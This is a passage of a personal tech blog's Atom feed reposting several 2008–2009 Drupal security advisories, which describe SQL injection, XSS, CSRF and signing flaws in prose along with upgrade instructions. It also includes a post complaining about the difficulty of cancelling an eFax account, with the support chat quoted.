src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-8504196506206381509</id><published>2009-01-07T13:45:00.002-08:00</published><updated>2009-01-13T15:39:07.003-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>[Security announcements] SA-CONTRIB-2009-001 - Project release - Multiple vulnerabilities</title><content type='html'>---- SA-CONTRIB-2009-001 - PROJECT RELEASE - MULTIPLE VULNERABILITIES ----&lt;p&gt;  * Advisory ID: DRUPAL-SA-CONTRIB-2009-001&lt;/p&gt;&lt;p&gt;  * Project: Project release (third-party module)&lt;/p&gt;&lt;p&gt;  * Version: 5.x&lt;/p&gt;&lt;p&gt;  * Date: 2009-January-07&lt;/p&gt;&lt;p&gt;  * Security risk: Highly critical&lt;/p&gt;&lt;p&gt;  * Exploitable from: Remote&lt;/p&gt;&lt;p&gt;  * Vulnerabilities: Arbitrary file upload, Cross-site scripting (XSS)&lt;/p&gt;&lt;p&gt;---- DESCRIPTION ----&lt;/p&gt;&lt;p&gt;The Project release module is a component within the broader Project [&lt;br /&gt;&lt;a href="http://drupal.org/project/project"&gt;http://drupal.org/project/project&lt;/a&gt; ] module.  This announcement covers the&lt;br /&gt;following two issues:&lt;/p&gt;&lt;p&gt;  * Project release enables file attachments to create a specific version of&lt;br /&gt;code to be downloaded by users. This module uses its own code to upload files so&lt;br /&gt;the files are not validated by Drupal core's Upload module.  The lack of&lt;br /&gt;validation in Project release's upload mechanism enables a user with the&lt;br /&gt;"maintain projects" permission to upload files with arbitrary extensions. Using&lt;br /&gt;these files an attacker can perform cross site scripting attacks, and depending&lt;br /&gt;on the server configuration, may also be able to execute arbitrary code.&lt;/p&gt;&lt;p&gt;Any projects that are associated with a CVS repository using the CVS&lt;br /&gt;integration [ &lt;a href="http://drupal.org/project/cvslog"&gt;http://drupal.org/project/cvslog&lt;/a&gt; ] module are not vulnerable,&lt;br /&gt;though you are still encouraged to upgrade.&lt;/p&gt;&lt;p&gt;Important Note&lt;/p&gt;&lt;p&gt;The steps above will stop malicious files from being uploaded, but will do&lt;br /&gt;nothing to protect your site against files that have already been uploaded. Make&lt;br /&gt;sure to carefully inspect the file system path and check for files with&lt;br /&gt;extensions that should be forbidden. We recommend you remove any HTML file you&lt;br /&gt;did not upload yourself. You should look for script tags, CSS includes,&lt;br /&gt;Javascript includes, and onerror="" attributes if you need to review files&lt;br /&gt;individually.&lt;/p&gt;&lt;p&gt;  * The Project release module allows users to create releases of a project&lt;br /&gt;which are then available for download.  Users may be able to inject arbitrary&lt;br /&gt;code on error pages produced by the Project release module by using a malformed&lt;br /&gt;URL.&lt;/p&gt;&lt;p&gt;Wikipedia has more information about cross site scripting [&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;http://en.wikipedia.org/wiki/Cross-site_scripting&lt;/a&gt; ] (XSS).&lt;/p&gt;&lt;p&gt;---- VERSIONS AFFECTED ----&lt;/p&gt;&lt;p&gt;  * Project for Drupal 5.x prior to 5.x-1.3&lt;/p&gt;&lt;p&gt;Drupal core is not affected. If you do not use the contributed Project release&lt;br /&gt;module, there is nothing you need to do.&lt;/p&gt;&lt;p&gt;---- SOLUTION ----&lt;/p&gt;&lt;p&gt;Install the latest version:&lt;/p&gt;&lt;p&gt;  * Project 5.x-1.3 [ &lt;a href="http://drupal.org/node/355708"&gt;http://drupal.org/node/355708&lt;/a&gt; ]&lt;/p&gt;&lt;p&gt;See also the Project module project page [ &lt;a href="http://drupal.org/project/project"&gt;http://drupal.org/project/project&lt;/a&gt; ].&lt;/p&gt;&lt;p&gt;&lt;br /&gt;---- REPORTED BY ----&lt;/p&gt;&lt;p&gt;Both vulnerabilities were reported by Adam Light (aclight [&lt;br /&gt;&lt;a href="http://drupal.org/user/86358"&gt;http://drupal.org/user/86358&lt;/a&gt; ]) of the Drupal Security team [&lt;br /&gt;&lt;a href="http://drupal.org/security-team"&gt;http://drupal.org/security-team&lt;/a&gt; ].&lt;/p&gt;&lt;p&gt;---- CONTACT ----&lt;/p&gt;&lt;p&gt;The security contact for Drupal can be reached at security at &lt;a href="http://drupal.org/"&gt;drupal.org&lt;/a&gt; or via&lt;br /&gt;the form at [ &lt;a href="http://drupal.org/contact"&gt;http://drupal.org/contact&lt;/a&gt; ].&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-8504196506206381509?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/8504196506206381509/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=8504196506206381509' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8504196506206381509'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8504196506206381509'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/01/security-announcements-sa-contrib-2009_07.html' title='[Security announcements] SA-CONTRIB-2009-001 - Project release - Multiple vulnerabilities'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-1027932594616429623</id><published>2009-01-02T07:36:00.003-08:00</published><updated>2009-01-02T07:44:55.053-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='J2'/><category scheme='http://www.blogger.com/atom/ns#' term='eFax'/><title type='text'>Efax or Ef*cks? Easy to Join. Impossible to leave</title><content type='html'>I wanted to discontinue my eFax account. I used it three times at $15/month. It was easy sign-up but impossible to leave. Their website suggests calling a number that vaguely looks like a UK number. I tried the US office and called that. The automated system suggested that I go to  &lt;a href="http://www.efax.com/cancel"&gt;www.efax.com/cancel&lt;/a&gt;. So, I did. That spawned a chat session. The cancellation process was couched as a "review of my request"-- like they could turn down my request to stop using their services? Then I got into a long chat where they tried to keep my account open-- just in case--&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Welcome to chat.&lt;br /&gt;The session has been accepted.&lt;br /&gt;{Frank D.} Hello, Mike. Welcome to j2 Global's online support. I am Frank, your Online Live Support Representative. How are you doing today?&lt;br /&gt;{Mike DeWolfe} I am cancelling my eFax account: eFax Number:&lt;br /&gt;1-2X0-483-6X4X&lt;br /&gt;effective as of now. I will put in a note to my credit card company to refuse charges from eFax&lt;br /&gt;{Frank D.} You can have it cancel via this chat session anytime you wish to. Do you wish to discontinue your service today?&lt;br /&gt;{Mike DeWolfe} I wish to discontinue the service today&lt;br /&gt;{Frank D.} I'm sorry to hear that you wish to cancel. Could you please provide me your PIN for verification?&lt;br /&gt;{Mike DeWolfe} XXXXXX&lt;br /&gt;{Frank D.} Thank you for providing your information. Please give me a moment while I go through your records. In the meantime, please type the number corresponding to your reason for cancellation:&lt;br /&gt;&lt;br /&gt;1) Moving to another provider&lt;br /&gt;2) Bought a fax machine&lt;br /&gt;3) Business or role changed&lt;br /&gt;4) Short term project completed&lt;br /&gt;5) Financial reasons&lt;br /&gt;6) Problems with faxing or billing&lt;br /&gt;7) Dissatisfied with quality of service&lt;br /&gt;8) Too costly&lt;br /&gt;{Mike DeWolfe} 4) Short term project completed&lt;br /&gt;{Frank D.} Thank you for waiting. I have located and verified your account in our records.&lt;br /&gt;{Frank D.} Mike, I understand that currently you do not need the service. In the current situation, we will waive off the monthly fee for two months. This way you will be able to keep your account, which will enable you to send and receive faxes. You will also be able to use all of our services and re-evaluate it for your faxing needs. Only usage charges are applicable for sending faxes if any. During this period, you will not be charged any monthly fee. We are suggesting this so that you can give it a second thought, as you will not be paying CAD$14.99 for the next 2 billing cycles.&lt;br /&gt;{Frank D.} Your eFax account will be credited with CAD$29.98 so that you may utilize our services without being billed our monthly fee for the next two billing cycles.&lt;br /&gt;{Frank D.} Since you will not be charged any monthly fee for the next two months you could keep the number till then. If at all you find that you need our services during this period, then you will still have the account. If however, you still feel that you do not have any use for our services by the end of this two months credit period, then you can always contact us back anytime. Would that be preferable?&lt;br /&gt;{Mike DeWolfe} Thank you-- I do want to cancel my account, effective as of now. I will put in a note to my credit card company to refuse charges from eFax&lt;br /&gt;{Frank D.} Just to confirm. Do you wish to avail the above offer?&lt;br /&gt;{Mike DeWolfe} I do not. I do want to cancel my account, effective as of now.&lt;br /&gt;{Frank D.} Mike, I completely understand your wish to discontinue, since you have paid for the current month, you can retain this number at least till the end of two months credit offer as you will not be charged any monthly fee for the two months. If however, you still feel that you do not have any use for our services by the end of the two months credit period, then you can always contact us back anytime.&lt;br /&gt;{Frank D.} As a good will gesture, we will offer you an additional gift balance of $10 along with the monthly credit, which will enable to send up to 100 additional fax pages free of cost (per page per minute within US &amp; Canada).&lt;br /&gt;{Frank D.} At the end of the 2 months credit period, you can get back to us immediately without any further obligation to stay back. We are available 24 hours a day and 7 days a week. Please feel free to contact us at any time. We will immediately process your request.&lt;br /&gt;{Mike DeWolfe}  Thank you.&lt;br /&gt;{Frank D.} That's Great.&lt;br /&gt;{Frank D.} I am sure that you will have a great experience with eFax &amp; your account will remain open untill we hear from you. Only usage charges are applicable for sending faxes if any.&lt;br /&gt;{Frank D.} Is there anything else I can assist you with at this time?&lt;br /&gt;{Mike DeWolfe} I WANT TO CLOSE MY ACCOUNT. Please do that immediately.&lt;br /&gt;{Frank D.} All right, as per your wish, I will close your account right now. We are sorry that you have decided to leave eFax, we are continuously improving our products and services but if your faxing needs do change in the future, we would be more than happy to have you back. Please do consider us if your faxing needs change in the future. Thank you for being with us and for using our service.&lt;br /&gt;{Frank D.} Is there anything else I can assist you with at this time?&lt;br /&gt;{Mike DeWolfe} No, I have contacted my credit card company and they will return any future charges from eFax, J2, etc. So, we're good.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-1027932594616429623?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/1027932594616429623/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=1027932594616429623' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1027932594616429623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1027932594616429623'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/01/efax-or-efcks-easy-to-join-impossible.html' title='Efax or Ef*cks? Easy to Join. Impossible to leave'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7139354901821424402</id><published>2008-12-17T13:13:00.001-08:00</published><updated>2008-12-17T14:29:11.611-08:00</updated><title type='text'>[Security announcements] SA-2008-075 - Views - SQL Injection</title><content type='html'>------------SA-2008-075 - VIEWS - SQL INJECTION------------&lt;p&gt;  * Advisory ID: DRUPAL-SA-2008-075&lt;p&gt;  * Project: Views&lt;p&gt;  * Versions: 6.x &lt;p&gt;  * Date: 2008-December-16&lt;p&gt;  * Security risk: Moderately critical&lt;p&gt;  * Exploitable from: Remote&lt;p&gt;  * Vulnerability: SQL injection&lt;p&gt;------------DESCRIPTION------------&lt;p&gt;The Views module provides a flexible method for Drupal site designers to&lt;br&gt;control how lists of content are presented.&lt;p&gt;When using an exposed filter on CCK [ &lt;a href="http://drupal.org/project/cck"&gt;http://drupal.org/project/cck&lt;/a&gt; ] text&lt;br&gt;fields with allowed values, Views does not filter the data correctly. This may&lt;br&gt;allow malicious users to conduct SQL injection [&lt;br&gt;&lt;a href="http://en.wikipedia.org/wiki/SQL_injection"&gt;http://en.wikipedia.org/wiki/SQL_injection&lt;/a&gt; ] attacks against the site.&lt;p&gt;------------VERSIONS AFFECTED------------&lt;p&gt;  * Versions of Views for Drupal 6.x prior to 6.x-2.2&lt;p&gt;Drupal core is not affected. If you do not use the Views module, there is&lt;br&gt;nothing you need to do.&lt;p&gt;------------SOLUTION------------&lt;p&gt;Install the latest version.&lt;p&gt;  * If you use Views for Drupal 6.x upgrade to 6.x-2.2 [&lt;br&gt;&lt;a href="http://drupal.org/node/347831"&gt;http://drupal.org/node/347831&lt;/a&gt; ]&lt;p&gt;Also see the Views project page [ &lt;a href="http://drupal.org/project/views"&gt;http://drupal.org/project/views&lt;/a&gt; ].&lt;p&gt;------------REPORTED BY------------&lt;p&gt;  * Peter Fisera (goatvirus [ &lt;a href="http://drupal.org/user/360900"&gt;http://drupal.org/user/360900&lt;/a&gt; ])&lt;p&gt;  * Mariano D&amp;#39;Agostino (dagmar [ &lt;a href="http://drupal.org/user/154086"&gt;http://drupal.org/user/154086&lt;/a&gt; ])&lt;p&gt;------------CONTACT------------&lt;p&gt;The security contact for Drupal can be reached at security at &lt;a href="http://drupal.org"&gt;drupal.org&lt;/a&gt; or via&lt;br&gt;the form at [ &lt;a href="http://drupal.org/contact"&gt;http://drupal.org/contact&lt;/a&gt; ] and by selecting the security issues&lt;br&gt;category.&lt;p&gt;&lt;p&gt;-- &lt;br&gt;Unsubscribe from this newsletter: &lt;a href="http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44"&gt;http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7139354901821424402?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7139354901821424402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7139354901821424402' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7139354901821424402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7139354901821424402'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/12/security-announcements-sa-2008-075.html' title='[Security announcements] SA-2008-075 - Views - SQL Injection'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-8629081536744313532</id><published>2008-12-17T11:04:00.001-08:00</published><updated>2008-12-17T14:29:11.665-08:00</updated><title type='text'>[Security announcements] SA-2008-074 - Services - Insecure signing</title><content type='html'>------------SA-2008-074 - SERVICES - INSECURE SIGNING------------&lt;p&gt;  * Advisory ID: DRUPAL-SA-2008-074&lt;p&gt;  * Project: Services (third-party module)&lt;p&gt;  * Versions: 5.x and 6.x&lt;p&gt;  * Security risk: Critical&lt;p&gt;  * Exploitable from: Remote&lt;p&gt;  * Vulnerability: Repeat attacks and impersonation&lt;p&gt;------------DESCRIPTION------------&lt;p&gt;Services is a module which provides an API for exposing Drupal functions.  It&lt;br&gt;allows clients to remotely call methods on the server and return the requested&lt;br&gt;data for local processing.&lt;p&gt;The module doesn&amp;#39;t sign enough of the information that passes through it and&lt;br&gt;uses an insecure hash for signing a part of the request, allowing for&lt;br&gt;impersonation attacks. In addition the validity of the request does not time out&lt;br&gt;and can therefore be used multiple times, allowing for repeat attacks.&lt;p&gt;------------VERSIONS AFFECTED------------&lt;p&gt;  * Versions of Services for Drupal 5.x prior to 5.x-0.92&lt;p&gt;  * Versions of Services for Drupal 6.x prior to 6.x-0.13&lt;p&gt;Drupal core is not affected. If you do not use the Services module, there is&lt;br&gt;nothing you need to do.&lt;p&gt;------------SOLUTION------------&lt;p&gt;Install the latest version.&lt;p&gt;  * If you use Services for Drupal 5.x upgrade to Services 5.x-0.92 [&lt;br&gt;&lt;a href="http://drupal.org/node/303265"&gt;http://drupal.org/node/303265&lt;/a&gt; ]&lt;p&gt;  * If you use Services for Drupal 6.x upgrade to Services 6.x-0.13 [&lt;br&gt;&lt;a href="http://drupal.org/node/304938"&gt;http://drupal.org/node/304938&lt;/a&gt; ]&lt;p&gt;Also see the Services project page [ &lt;a href="http://drupal.org/project/services"&gt;http://drupal.org/project/services&lt;/a&gt; ].&lt;p&gt;------------REPORTED BY------------&lt;p&gt;  * Steven Wittens (Steven [ &lt;a href="http://drupal.org/user/10"&gt;http://drupal.org/user/10&lt;/a&gt;] ])&lt;p&gt;------------CONTACT------------&lt;p&gt;The security contact for Drupal can be reached at security at &lt;a href="http://drupal.org"&gt;drupal.org&lt;/a&gt; or via&lt;br&gt;the form at [ &lt;a href="http://drupal.org/contact"&gt;http://drupal.org/contact&lt;/a&gt; ] and by selecting the security issues&lt;br&gt;category.&lt;p&gt;&lt;p&gt;-- &lt;br&gt;Unsubscribe from this newsletter: &lt;a href="http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44"&gt;http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-8629081536744313532?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/8629081536744313532/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=8629081536744313532' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8629081536744313532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8629081536744313532'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/12/security-announcements-sa-2008-074.html' title='[Security announcements] SA-2008-074 - Services - Insecure signing'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-2057304557913464838</id><published>2008-12-10T15:22:00.000-08:00</published><updated>2008-12-17T14:29:11.680-08:00</updated><title type='text'>[Security announcements] SA-2008-073 - Drupal core - Multiple vulnerabilities</title><content type='html'>------------SA-2008-073 - DRUPAL CORE - MULTIPLE VULNERABILITIES------------&lt;p&gt;  * Advisory ID: DRUPAL-SA-2008-073&lt;p&gt;  * Project: Drupal core&lt;p&gt;  * Versions: 5.x and 6.x&lt;p&gt;  * Date: 2008-December-10&lt;p&gt;  * Security risk: Moderately Critical&lt;p&gt;  * Exploitable from: Remote&lt;p&gt;  * Vulnerability: Multiple vulnerabilities&lt;p&gt;------------DESCRIPTION------------&lt;p&gt;Multiple vulnerabilities and weaknesses were discovered in Drupal.&lt;p&gt;CROSS SITE REQUEST FORGERY&lt;p&gt;The update system is vulnerable to Cross site request forgeries [&lt;br&gt;&lt;a href="http://en.wikipedia.org/wiki/Csrf"&gt;http://en.wikipedia.org/wiki/Csrf&lt;/a&gt; ]. Malicious users may cause the superuser&lt;br&gt;(user 1) to execute old updates that may damage the database.&lt;p&gt;CROSS SITE SCRIPTING&lt;p&gt;When an input format is deleted, not all existing content on a site is updated&lt;br&gt;to reflect this deletion. Such content is then displayed unfiltered. This may&lt;br&gt;lead to cross site scripting [ &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;http://en.wikipedia.org/wiki/Cross-site_scripting&lt;/a&gt;&lt;br&gt;] attacks when harmful tags are no longer stripped from &amp;#39;malicious&amp;#39; content that&lt;br&gt;was posted earlier.&lt;p&gt;------------VERSIONS AFFECTED------------&lt;p&gt;  * Drupal 5.x before version 5.13&lt;p&gt;  * Drupal 6.x before version 6.7&lt;p&gt;------------SOLUTION------------&lt;p&gt;Install the latest version:&lt;p&gt;  * If you are running Drupal 5.x then upgrade to Drupal 5.13 [&lt;br&gt;&lt;a href="http://ftp.drupal.org/files/projects/drupal-5.13.tar.gz"&gt;http://ftp.drupal.org/files/projects/drupal-5.13.tar.gz&lt;/a&gt; ].&lt;p&gt;  * If you are running Drupal 6.x then upgrade to Drupal 6.7 [&lt;br&gt;&lt;a href="http://ftp.drupal.org/files/projects/drupal-6.7.tar.gz"&gt;http://ftp.drupal.org/files/projects/drupal-6.7.tar.gz&lt;/a&gt; ].&lt;p&gt;Note: the robots.txt and .htaccess files have changed and need to be replaced.&lt;br&gt;The settings.php file has not been changed and can be left as it was if&lt;br&gt;upgrading from the current version of Drupal.&lt;p&gt;If you are unable to upgrade immediately, you can apply a patch to secure your&lt;br&gt;installation until you are able to do a proper upgrade. The patches fix security&lt;br&gt;vulnerabilities, but do not contain other fixes which were released in these&lt;br&gt;versions.&lt;p&gt;  * To patch Drupal 5.12 use SA-2008-073-5.12.patch [&lt;br&gt;&lt;a href="http://drupal.org/files/sa-2008-073/SA-2008-073-5.12.patch"&gt;http://drupal.org/files/sa-2008-073/SA-2008-073-5.12.patch&lt;/a&gt; ].&lt;p&gt;  * To patch Drupal 6.6 use SA-2008-073-6.6.patch [&lt;br&gt;&lt;a href="http://drupal.org/files/sa-2008-073/SA-2008-073-6.6.patch"&gt;http://drupal.org/files/sa-2008-073/SA-2008-073-6.6.patch&lt;/a&gt; ].&lt;p&gt;------------REPORTED BY------------&lt;p&gt;Both issues were reported by David Rothstein (David_Rothstein [&lt;br&gt;&lt;a href="http://drupal.org/user/124982"&gt;http://drupal.org/user/124982&lt;/a&gt; ]).&lt;p&gt;------------CONTACT------------&lt;p&gt;The security team for Drupal can be reached at security at &lt;a href="http://drupal.org"&gt;drupal.org&lt;/a&gt; or via&lt;br&gt;the form at [ &lt;a href="http://drupal.org/contact"&gt;http://drupal.org/contact&lt;/a&gt; ].&lt;p&gt;&lt;p&gt;-- &lt;br&gt;Unsubscribe from this newsletter: &lt;a href="http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44"&gt;http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-2057304557913464838?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/2057304557913464838/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=2057304557913464838' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2057304557913464838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2057304557913464838'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/12/security-announcements-sa-2008-073.html' title='[Security announcements] SA-2008-073 - Drupal core - Multiple vulnerabilities'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6761398940748290640</id><published>2008-12-03T22:08:00.002-08:00</published><updated>2008-12-03T22:09:19.729-08:00</updated><title type='text'>Fwd: [Security announcements] SA-2008-072 - Storm Project - SQL injection</title><content type='html'>------------SA-2008-072 - STORM PROJECT - SQL INJECTION------------&lt;br /&gt;&lt;div class="gmail_quote"&gt;&lt;br /&gt; * Advisory ID: DRUPAL-SA-2008-072&lt;br /&gt;&lt;br /&gt; * Project: Storm Project&lt;br /&gt;&lt;br /&gt; * Versions: 5.x and 6.x&lt;br /&gt;&lt;br /&gt; * Date: 2008-December-03&lt;br /&gt;&lt;br /&gt; * Security risk: Moderately critical&lt;br /&gt;&lt;br /&gt; * Exploitable from: Remote&lt;br /&gt;&lt;br /&gt; * Vulnerability: SQL injection&lt;br /&gt;&lt;br /&gt;------------DESCRIPTION------------&lt;br /&gt;&lt;br /&gt;Storm (SpeedTech Organization and Resource Manager) is a project management&lt;br /&gt;application for Drupal.&lt;br /&gt;&lt;br /&gt;Unfortunately the Storm module allows users with access to the storm projects&lt;br /&gt;to enter input values which are then used directly in SQL queries without being&lt;br /&gt;sanitized, enabling SQL injection attacks [&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/SQL_injection" target="_blank"&gt;http://en.wikipedia.org/wiki/SQL_injection&lt;/a&gt; ] by malicious users.&lt;br /&gt;&lt;br /&gt;------------VERSIONS AFFECTED------------&lt;br /&gt;&lt;br /&gt; * Versions of Storm for Drupal 5.x prior to 5.x-1.14&lt;br /&gt;&lt;br /&gt; * Versions of Storm for Drupal 6.x prior to 6.x-1.18&lt;br /&gt;&lt;br /&gt;Drupal core is not affected. If you do not use the Storm module, there is&lt;br /&gt;nothing you need to do.&lt;br /&gt;&lt;br /&gt;------------SOLUTION------------&lt;br /&gt;&lt;br /&gt;Install the latest version.&lt;br /&gt;&lt;br /&gt; * If you use Storm for Drupal 5.x upgrade to 5.x-1.14 [&lt;br /&gt;&lt;a href="http://drupal.org/node/342264" target="_blank"&gt;http://drupal.org/node/342264&lt;/a&gt; ]&lt;br /&gt;&lt;br /&gt; * If you use Storm for Drupal 6.x upgrade to 6.x-1.18 [&lt;br /&gt;&lt;a href="http://drupal.org/node/342263" target="_blank"&gt;http://drupal.org/node/342263&lt;/a&gt; ]&lt;br /&gt;&lt;br /&gt;Also see the Storm project page [ &lt;a href="http://drupal.org/project/storm" target="_blank"&gt;http://drupal.org/project/storm&lt;/a&gt; ].&lt;br /&gt;&lt;br /&gt;------------REPORTED BY------------&lt;br /&gt;&lt;br /&gt;Jakub Suchy (meba [ &lt;a href="http://drupal.org/user/31977" target="_blank"&gt;http://drupal.org/user/31977&lt;/a&gt; ])&lt;br /&gt;&lt;br /&gt;------------CONTACT------------&lt;br /&gt;&lt;br /&gt;The security contact for Drupal can be reached at security at &lt;a href="http://drupal.org/" target="_blank"&gt;drupal.org&lt;/a&gt; or via&lt;br /&gt;the form at [ &lt;a href="http://drupal.org/contact" target="_blank"&gt;http://drupal.org/contact&lt;/a&gt; ] and by selecting the security issues&lt;br /&gt;category.&lt;br /&gt;&lt;span style="color:#888888;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-- &lt;a href="http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44" target="_blank"&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;Us   - &lt;a href="http://www.thosedewolfes.com/"&gt;http://www.thosedewolfes.com/&lt;/a&gt;&lt;br /&gt;Me   - &lt;a href="http://mike.dewolfe.bc.ca/"&gt;http://mike.dewolfe.bc.ca/&lt;/a&gt;&lt;br /&gt;Blog - &lt;a href="http://mikedewolfe.blogspot.com/"&gt;http://mikedewolfe.blogspot.com/&lt;/a&gt;&lt;br /&gt;Tech - &lt;a href="http://technicalmike.blogspot.com/"&gt;http://technicalmike.blogspot.com/&lt;/a&gt;&lt;br /&gt;Sites - &lt;a href="http://www.prefabsite.net/"&gt;http://www.prefabsite.net/&lt;/a&gt; - have a website in MINUTES&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6761398940748290640?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6761398940748290640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6761398940748290640' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6761398940748290640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6761398940748290640'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/12/fwd-security-announcements-sa-2008-072.html' title='Fwd: [Security announcements] SA-2008-072 - Storm Project - SQL injection'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-740117555895535508</id><published>2008-11-26T07:57:00.004-08:00</published><updated>2008-11-26T08:11:46.277-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dating'/><category scheme='http://www.blogger.com/atom/ns#' term='forms'/><category 